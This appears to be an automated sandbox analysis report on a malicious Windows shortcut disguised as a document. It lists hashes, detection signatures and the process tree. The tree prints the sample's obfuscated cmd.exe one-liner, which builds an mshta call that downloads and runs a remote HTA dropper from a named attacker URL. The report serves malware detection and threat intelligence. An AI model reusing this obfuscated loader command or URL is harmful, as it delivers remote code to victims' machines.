Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:29

General

  • Target
    DOC-7UOJTA.lnk
  • Size 2KB
  • Sample260804-kdmd5abj9z
  • SHA256 c54008c3f43942bb0456abd54563bee2c77119633732093e3fbd526529611bf5
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7UOJTA.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5540
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set pah=bakkqexnlqonsulbak&set aH=oldunfgywfdzyyetamhold&set MH=dbgbbsouhckbwjrgqedbg&set LtzHS=wincjvscksgdhtrmetxwin&set Layzk=logtaphdzlog&set bhCMn=mmsh8h&&set tcx=7t9s&&set Zd=4ryayp7&set zOXTI=infhkrblinf&set xL=cachehacsjxsltvrxcache&set ieK=cachevuyxdsnxynzjxhwmfrcache&set pvU=dbgpzlhsfydbg&set AErC=cacheahdapsjonrlahopcache&set nNu=etws0ke&&set dcy=4entd&&set Zv=darti&set DwONT=netnjvghdcizbtznet&&set OJUlY=h@t@tp@s@:/@/m@a-pdffi@ll@er.@la@t/@h/@e@st@agio1@.@php?r=391@46@9FB@5@D8@2DB&&start /b !bhCMn:~1,3!!tcx:~1,1!!Zd:~3,1! !OJUlY:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2752

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads